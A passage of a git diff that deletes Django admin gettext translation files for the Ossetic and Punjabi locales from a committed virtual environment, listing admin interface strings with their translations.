"мийы флаг" - -msgid "change message" -msgstr "фыстӕг фӕивын" - -msgid "log entry" -msgstr "логы иуӕг" - -msgid "log entries" -msgstr "логы иуӕгтӕ" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Ӕфтыд ӕрцыд \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Ивд ӕрцыд \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Хафт ӕрцыд \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "ЛогыИуӕг Объект" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "ӕмӕ" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Ивд бынат нӕй." - -msgid "None" -msgstr "Никӕцы" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Иуӕгтӕ хъуамӕ ӕвзӕрст уой, цӕмӕй цын исты ми бакӕнай. Ницы иуӕг ӕрцыд ивд." - -msgid "No action selected." -msgstr "Ницы ми у ӕвзӕрст." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" хафт ӕрцыд." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Бафтауын %s" - -#, python-format -msgid "Change %s" -msgstr "Фӕивын %s" - -msgid "Database error" -msgstr "Бӕрӕгдоны рӕдыд" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s ивд ӕрцыд." -msgstr[1] "%(count)s %(name)s ивд ӕрцыдысты." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s у ӕвзӕрст" -msgstr[1] "%(total_count)s дӕр иууылдӕр сты ӕвзӕрст" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s-ӕй 0 у ӕвзӕрст" - -#, python-format -msgid "Change history: %s" -msgstr "Ивынты истори: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Django сайты админ" - -msgid "Django administration" -msgstr "Django администраци" - -msgid "Site administration" -msgstr "Сайты администраци" - -msgid "Log in" -msgstr "Бахизын" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Фарс нӕ зыны" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Хатыр, фӕлӕ домд фарс нӕ зыны." - -msgid "Home" -msgstr "Хӕдзар" - -msgid "Server error" -msgstr "Серверы рӕдыд" - -msgid "Server error (500)" -msgstr "Серверы рӕдыд (500)" - -msgid "Server Error (500)" -msgstr "Серверы Рӕдыд (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Рӕдыд разынд. Уый тыххӕй сайты администратормӕ электрон фыстӕг ӕрвыст ӕрцыд " -"ӕмӕ йӕ тагъд сраст кӕндзысты. Бузныг кӕй лӕууыс." - -msgid "Run the selected action" -msgstr "Бакӕнын ӕвзӕрст ми" - -msgid "Go" -msgstr "Бацӕуын" - -msgid "Click here to select the objects across all pages" -msgstr "Ам ныххӕц цӕмӕй алы фарсы объекттӕ равзарын" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Равзарын %(total_count)s %(module_name)s иууылдӕр" - -msgid "Clear selection" -msgstr "Ӕвзӕрст асыгъдӕг кӕнын" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Фыццаг бафысс фӕсномыг ӕмӕ пароль. Стӕй дӕ бон уыдзӕн фылдӕр архайӕджы " -"фадӕттӕ ивын." - -msgid "Enter a username and password." -msgstr "Бафысс фӕсномыг ӕмӕ пароль." - -msgid "Change password" -msgstr "Пароль фӕивын" - -msgid "Please correct the error below." -msgstr "Дӕ хорзӕхӕй, бындӕр цы рӕдыдтытӕ ис, уыдон сраст кӕн." - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Бафысс ног пароль архайӕг %(username)s-ӕн." - -msgid "Welcome," -msgstr "Ӕгас цу," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Документаци" - -msgid "Log out" -msgstr "Рахизын" - -#, python-format -msgid "Add %(name)s" -msgstr "Бафтауын %(name)s" - -msgid "History" -msgstr "Истори" - -msgid "View on site" -msgstr "Сайты фенын" - -msgid "Filter" -msgstr "Фӕрсудзӕн" - -msgid "Remove from sorting" -msgstr "Радӕй айсын" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Рады приоритет: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Рад аивын" - -msgid "Delete" -msgstr "Схафын" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' хафыны тыххӕй баст объекттӕ дӕр хафт " -"ӕрцӕудзысты, фӕлӕ дӕ аккаунтӕн нӕй бар ацы объекты хуызтӕ хафын:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' хафын домы ацы хъахъхъӕд баст объекттӕ " -"хафын дӕр:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ӕцӕг дӕ фӕнды %(object_name)s \"%(escaped_object)s\" схафын? Ацы баст иуӕгтӕ " -"иууылдӕр хафт ӕрцӕудзысты:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "О, ӕцӕг мӕ фӕнды" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Цалдӕр объекты схафын" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Ӕвзӕрст %(objects_name)s хафыны тыххӕй йемӕ баст объекттӕ дӕр схафт " -"уыдзысты, фӕлӕ дӕ аккаунтӕн нӕй бар ацы объекты хуызтӕ хафын:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Ӕвзӕрст %(objects_name)s хафын домы ацы хъахъхъӕд баст объекттӕ хафын дӕр:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ӕцӕг дӕ фӕнды ӕвзӕрст %(objects_name)s схафын? ацы объекттӕ иууылдӕр, ӕмӕ " -"семӕ баст иуӕгтӕ хафт ӕрцӕудзысты:" - -msgid "Change" -msgstr "Фӕивын" - -msgid "Delete?" -msgstr "Хъӕуы схафын?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s-мӕ гӕсгӕ" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Моделтӕ %(name)s ӕфтуаны" - -msgid "Add" -msgstr "Бафтауын" - -msgid "You don't have permission to edit anything." -msgstr "Нӕй дын бар исты ивын." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Ницы ис" - -msgid "Unknown content" -msgstr "Ӕнӕбӕрӕг мидис" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Дӕ бӕрӕгдоны цыдӕр раст ӕвӕрд нӕу. Сбӕрӕг кӕн, хъӕугӕ бӕрӕгдоны таблицӕтӕ " -"конд кӕй сты ӕмӕ амынд архайӕгӕн бӕрӕгдон фӕрсыны бар кӕй ис, уый." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "Дӕ пароль кӕнӕ дӕ фӕсномыг ферох кодтай?" - -msgid "Date/time" -msgstr "Бон/рӕстӕг" - -msgid "User" -msgstr "Архайӕг" - -msgid "Action" -msgstr "Ми" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "Ацы объектӕн ивдтыты истори нӕй. Уӕццӕгӕн ацы админӕй ӕфтыд нӕ уыд." - -msgid "Show all" -msgstr "Иууылдӕр равдисын" - -msgid "Save" -msgstr "Нывӕрын" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Агурын" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s фӕстиуӕг" -msgstr[1] "%(counter)s фӕстиуӕджы" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s иумӕ" - -msgid "Save as new" -msgstr "Нывӕрын куыд ног" - -msgid "Save and add another" -msgstr "Нывӕрын ӕмӕ ног бафтауын" - -msgid "Save and continue editing" -msgstr "Нывӕрын ӕмӕ дарддӕр ивын" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Бузныг дӕ рӕстӕг абон ацы веб сайтимӕ кӕй арвыстай." - -msgid "Log in again" -msgstr "Ногӕй бахизын" - -msgid "Password change" -msgstr "Пароль ивын" - -msgid "Your password was changed." -msgstr "Дӕ пароль ивд ӕрцыд." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Дӕ хорзӕхӕй, ӕдасдзинады тыххӕй, бафысс дӕ зӕронд пароль ӕмӕ стӕй та дыууӕ " -"хатт дӕ нӕуӕг пароль, цӕмӕй мах сбӕлвырд кӕнӕм раст ӕй кӕй ныффыстай, уый." - -msgid "Change my password" -msgstr "Мӕ пароль фӕивын" - -msgid "Password reset" -msgstr "Пароль рацаразын" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Дӕ пароль ӕвӕрд ӕрцыд. Дӕ бон у дарддӕр ацӕуын ӕмӕ бахизын." - -msgid "Password reset confirmation" -msgstr "Пароль ӕвӕрыны бӕлвырдгӕнӕн" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Дӕ хорзӕхӕй, дӕ ног пароль дыууӕ хатт бафысс, цӕмӕй мах сбӕрӕг кӕнӕм раст ӕй " -"кӕй ныффыстай, уый." - -msgid "New password:" -msgstr "Ног пароль:" - -msgid "Confirm password:" -msgstr "Бӕлвырд пароль:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Парол ӕвӕрыны ӕрвитӕн раст нӕ уыд. Уӕццӕгӕн уый тыххӕй, ӕмӕ нырид пайдагонд " -"ӕрцыд. Дӕ хорзӕхӕй, ӕрдом ног пароль ӕвӕрын." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Кӕд ницы фыстӕг райстай, уӕд, дӕ хорзӕхӕй, сбӕрӕг кӕн цы электрон постимӕ " -"срегистраци кодтай, уый бацамыдтай, ӕви нӕ, ӕмӕ абӕрӕг кӕн дӕ спамтӕ." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Ды райстай ацы фыстӕг, уымӕн ӕмӕ %(site_name)s-ы дӕ архайӕджы аккаунтӕн " -"пароль сӕвӕрын ӕрдомдтай." - -msgid "Please go to the following page and choose a new password:" -msgstr "Дӕ хорзӕхӕй, ацу ацы фарсмӕ ӕмӕ равзар дӕ ног пароль:" - -msgid "Your username, in case you've forgotten:" -msgstr "Дӕ фӕсномыг, кӕд дӕ ферох ис:" - -msgid "Thanks for using our site!" -msgstr "Бузныг нӕ сайтӕй нын кӕй пайда кӕныс!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s-ы бал" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"Ферох дӕ ис дӕ пароль? Дӕ пароль бындӕр бафысс, ӕмӕ дӕм мах email-ӕй ног " -"пароль сывӕрыны амынд арвитдзыстӕм." - -msgid "Email address:" -msgstr "Email адрис:" - -msgid "Reset my password" -msgstr "Мӕ пароль ногӕй сӕвӕрын" - -msgid "All dates" -msgstr "Бонтӕ иууылдӕр" - -#, python-format -msgid "Select %s" -msgstr "Равзарын %s" - -#, python-format -msgid "Select %s to change" -msgstr "Равзарын %s ивынӕн" - -msgid "Date:" -msgstr "Бон:" - -msgid "Time:" -msgstr "Рӕстӕг:" - -msgid "Lookup" -msgstr "Акӕсын" - -msgid "Currently:" -msgstr "Нырыккон:" - -msgid "Change:" -msgstr "Ивд:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 7af0f793..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/djangojs.po deleted file mode 100644 index ec6c9c45..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/os/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,217 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Soslan Khubulov , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Ossetic (http://www.transifex.com/django/django/language/" -"os/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: os\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Уӕвӕг %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Уӕвӕг %s-ты номхыгъд. Дӕ бон у искӕцытӕ дзы рауӕлдай кӕнай, куы сӕ равзарай " -"бындӕр къӕртты ӕмӕ дыууӕ къӕртты ӕхсӕн \"Равзарын\"-ы ӕгънӕгыл куы ныххӕцай, " -"уӕд." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Бафысс ацы къӕртты, уӕвӕг %s-ты номхыгъд фӕрсудзынӕн." - -msgid "Filter" -msgstr "Фӕрсудзӕн" - -msgid "Choose all" -msgstr "Равзарын алкӕцыдӕр" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Ныххӕц, алы %s равзарынӕн." - -msgid "Choose" -msgstr "Равзарын" - -msgid "Remove" -msgstr "Схафын" - -#, javascript-format -msgid "Chosen %s" -msgstr "Ӕвзӕрст %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ай у ӕвзӕрст %s-ты номхыгъд. Сӕ хафынӕн сӕ дӕ бон у бындӕр къӕртты равзарын " -"ӕмӕ дыууӕ ӕгънӕджы ӕхсӕн \"Схфын\"-ыл ныххӕцын." - -msgid "Remove all" -msgstr "Схафын алкӕцыдӕр" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Ныххӕц, алы ӕвзӕрст %s схафынӕн." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s-ӕй %(sel)s ӕвзӕрст" -msgstr[1] "%(cnt)s-ӕй %(sel)s ӕвзӕрст" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Ӕнӕвӕрд ивдтытӕ баззадысты ивыны бынӕтты. Кӕд исты ми саразай, уӕд дӕ " -"ӕнӕвӕрд ивдтытӕ фесӕфдзысты." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Ды равзӕрстай цыдӕр ми, фӕлӕ ивӕн бынӕтты цы фӕивтай, уыдон нӕ бавӕрдтай. Дӕ " -"хорзӕхӕй, ныххӕц Хорзыл цӕмӕй бавӕрд уой. Стӕй дын хъӕудзӕн ацы ми ногӕй " -"бакӕнын." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ды равзӕртай цыдӕр ми, фӕлӕ ивӕн бынӕтты ницы баивтай. Уӕццӕгӕн дӕ Ацӕуыны " -"ӕгънӕг хъӕуы, Бавӕрыны нӕ фӕлӕ." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "Ныр" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Рӕстӕг равзарын" - -msgid "Midnight" -msgstr "Ӕмбисӕхсӕв" - -msgid "6 a.m." -msgstr "6 ӕ.р." - -msgid "Noon" -msgstr "Ӕмбисбон" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Раздӕхын" - -msgid "Today" -msgstr "Абон" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Знон" - -msgid "Tomorrow" -msgstr "Сом" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Равдисын" - -msgid "Hide" -msgstr "Айсын" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/django.mo deleted file mode 100644 index ff1ae644..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/django.po deleted file mode 100644 index 00418938..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pa/LC_MESSAGES/django.po +++ /dev/null @@ -1,706 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# A S Alam, 2018 -# A S Alam, 2022 -# Jannis Leidel , 2011 -# Satnam S Virdi , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-01-17 02:13-0600\n" -"PO-Revision-Date: 2023-04-25 07:05+0000\n" -"Last-Translator: A S Alam, 2022\n" -"Language-Team: Panjabi (Punjabi) (http://www.transifex.com/django/django/" -"language/pa/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pa\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "ਚੁਣੇ %(verbose_name_plural)s ਹਟਾਓ" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s ਠੀਕ ਤਰ੍ਹਾਂ ਹਟਾਈਆਂ ਗਈਆਂ।" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s ਨੂੰ ਹਟਾਇਆ ਨਹੀਂ ਜਾ ਸਕਦਾ" - -msgid "Are you sure?" -msgstr "ਕੀ ਤੁਸੀਂ ਇਹ ਚਾਹੁੰਦੇ ਹੋ?" - -msgid "Administration" -msgstr "ਪ੍ਰਸ਼ਾਸਨ" - -msgid "All" -msgstr "ਸਭ" - -msgid "Yes" -msgstr "ਹਾਂ" - -msgid "No" -msgstr "ਨਹੀਂ" - -msgid "Unknown" -msgstr "ਅਣਜਾਣ" - -msgid "Any date" -msgstr "ਕੋਈ ਵੀ ਮਿਤੀ" - -msgid "Today" -msgstr "ਅੱਜ" - -msgid "Past 7 days" -msgstr "ਪਿਛਲੇ ੭ ਦਿਨ" - -msgid "This month" -msgstr "ਇਹ ਮਹੀਨੇ" - -msgid "This year" -msgstr "ਇਹ ਸਾਲ" - -msgid "No date" -msgstr "ਕੋਈ ਮਿਤੀ ਨਹੀਂ" - -msgid "Has date" -msgstr "ਮਿਤੀ ਹੈ" - -msgid "Empty" -msgstr "ਖਾਲੀ" - -msgid "Not empty" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "ਕਾਰਵਾਈ:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "%(verbose_name)s ਹੋਰ ਸ਼ਾਮਲ" - -msgid "Remove" -msgstr "ਹਟਾਓ" - -msgid "Addition" -msgstr "" - -msgid "Change" -msgstr "ਬਦਲੋ" - -msgid "Deletion" -msgstr "" - -msgid "action time" -msgstr "ਕਾਰਵਾਈ ਸਮਾਂ" - -msgid "user" -msgstr "ਵਰਤੋਂਕਾਰ" - -msgid "content type" -msgstr "ਸਮੱਗਰੀ ਕਿਸਮ" - -msgid "object id" -msgstr "ਆਬਜੈਕਟ id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "ਆਬਜੈਕਟ repr" - -msgid "action flag" -msgstr "ਕਾਰਵਾਈ ਫਲੈਗ" - -msgid "change message" -msgstr "ਸੁਨੇਹਾ ਬਦਲੋ" - -msgid "log entry" -msgstr "ਲਾਗ ਐਂਟਰੀ" - -msgid "log entries" -msgstr "ਲਾਗ ਐਂਟਰੀਆਂ" - -#, python-format -msgid "Added “%(object)s”." -msgstr "" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "ਅਤੇ" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "ਕੋਈ ਖੇਤਰ ਨਹੀਂ ਬਦਲਿਆ।" - -msgid "None" -msgstr "ਕੋਈ ਨਹੀਂ" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "ਕੋਈ ਕਾਰਵਾਈ ਨਹੀਂ ਚੁਣੀ ਗਈ।" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s ਸ਼ਾਮਲ" - -#, python-format -msgid "Change %s" -msgstr "%s ਬਦਲੋ" - -#, python-format -msgid "View %s" -msgstr "%s ਵੇਖੋ" - -msgid "Database error" -msgstr "ਡਾਟਾਬੇਸ ਗਲਤੀ" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s ਠੀਕ ਤਰ੍ਹਾਂ ਬਦਲਿਆ ਗਿਆ।" -msgstr[1] "%(count)s %(name)s ਠੀਕ ਤਰ੍ਹਾਂ ਬਦਲੇ ਗਏ ਹਨ।" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s ਚੁਣਿਆ।" -msgstr[1] "%(total_count)s ਚੁਣੇ" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "ਅਤੀਤ ਬਦਲੋ: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "ਡੀਜਾਂਗੋ ਸਾਈਟ ਐਡਮਿਨ" - -msgid "Django administration" -msgstr "ਡੀਜਾਂਗੋ ਪਰਸ਼ਾਸ਼ਨ" - -msgid "Site administration" -msgstr "ਸਾਈਟ ਪਰਬੰਧ" - -msgid "Log in" -msgstr "ਲਾਗ ਇਨ" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "ਸਫ਼ਾ ਨਹੀਂ ਲੱਭਿਆ" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "ਘਰ" - -msgid "Server error" -msgstr "ਸਰਵਰ ਗਲਤੀ" - -msgid "Server error (500)" -msgstr "ਸਰਵਰ ਗਲਤੀ (500)" - -msgid "Server Error (500)" -msgstr "ਸਰਵਰ ਗਲਤੀ (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "ਚੁਣੀ ਕਾਰਵਾਈ ਕਰੋ" - -msgid "Go" -msgstr "ਜਾਓ" - -msgid "Click here to select the objects across all pages" -msgstr "ਸਭ ਸਫ਼ਿਆਂ ਵਿੱਚੋਂ ਆਬਜੈਕਟ ਚੁਣਨ ਲਈ ਇੱਥੇ ਕਲਿੱਕ ਕਰੋ" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "ਸਭ %(total_count)s %(module_name)s ਚੁਣੋ" - -msgid "Clear selection" -msgstr "ਚੋਣ ਸਾਫ਼ ਕਰੋ" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "ਸ਼ਾਮਲ" - -msgid "View" -msgstr "" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "ਪਾਸਵਰਡ ਬਦਲੋ" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "ਯੂਜ਼ਰ %(username)s 